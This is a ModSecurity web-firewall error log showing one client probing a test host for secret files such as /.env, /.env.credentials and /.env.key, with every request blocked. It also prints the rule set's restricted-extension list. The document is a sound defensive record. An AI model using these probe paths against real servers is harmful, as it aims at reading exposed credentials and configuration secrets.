[Thu Feb 26 01:02:50.101168 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4WAAAAAY&quot;]
[Thu Feb 26 01:02:50.101370 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.c9/metadata/environment/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4WAAAAAY&quot;]
[Thu Feb 26 01:02:50.123513 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.circleci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4WQAAAAY&quot;]
[Thu Feb 26 01:02:50.123764 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4WQAAAAY&quot;]
[Thu Feb 26 01:02:50.123928 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.circleci/.env&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4WQAAAAY&quot;]
[Thu Feb 26 01:02:50.225828 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XAAAAAY&quot;]
[Thu Feb 26 01:02:50.226081 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XAAAAAY&quot;]
[Thu Feb 26 01:02:50.226252 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-db&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XAAAAAY&quot;]
[Thu Feb 26 01:02:50.272123 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XQAAAAY&quot;]
[Thu Feb 26 01:02:50.272367 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XQAAAAY&quot;]
[Thu Feb 26 01:02:50.272526 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XQAAAAY&quot;]
[Thu Feb 26 01:02:50.296743 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bkp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XgAAAAY&quot;]
[Thu Feb 26 01:02:50.296986 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XgAAAAY&quot;]
[Thu Feb 26 01:02:50.297149 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XgAAAAY&quot;]
[Thu Feb 26 01:02:50.326739 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XwAAAAY&quot;]
[Thu Feb 26 01:02:50.326999 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XwAAAAY&quot;]
[Thu Feb 26 01:02:50.327155 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4XwAAAAY&quot;]
[Thu Feb 26 01:02:50.355020 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.email&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YAAAAAY&quot;]
[Thu Feb 26 01:02:50.355293 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YAAAAAY&quot;]
[Thu Feb 26 01:02:50.355455 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YAAAAAY&quot;]
[Thu Feb 26 01:02:50.388253 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hidden&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YQAAAAY&quot;]
[Thu Feb 26 01:02:50.388504 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YQAAAAY&quot;]
[Thu Feb 26 01:02:50.388674 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YQAAAAY&quot;]
[Thu Feb 26 01:02:50.427502 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hide&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YgAAAAY&quot;]
[Thu Feb 26 01:02:50.427721 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YgAAAAY&quot;]
[Thu Feb 26 01:02:50.427870 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YgAAAAY&quot;]
[Thu Feb 26 01:02:50.465219 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YwAAAAY&quot;]
[Thu Feb 26 01:02:50.465572 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YwAAAAY&quot;]
[Thu Feb 26 01:02:50.465801 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4YwAAAAY&quot;]
[Thu Feb 26 01:02:50.488317 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZAAAAAY&quot;]
[Thu Feb 26 01:02:50.488767 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZAAAAAY&quot;]
[Thu Feb 26 01:02:50.489133 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZAAAAAY&quot;]
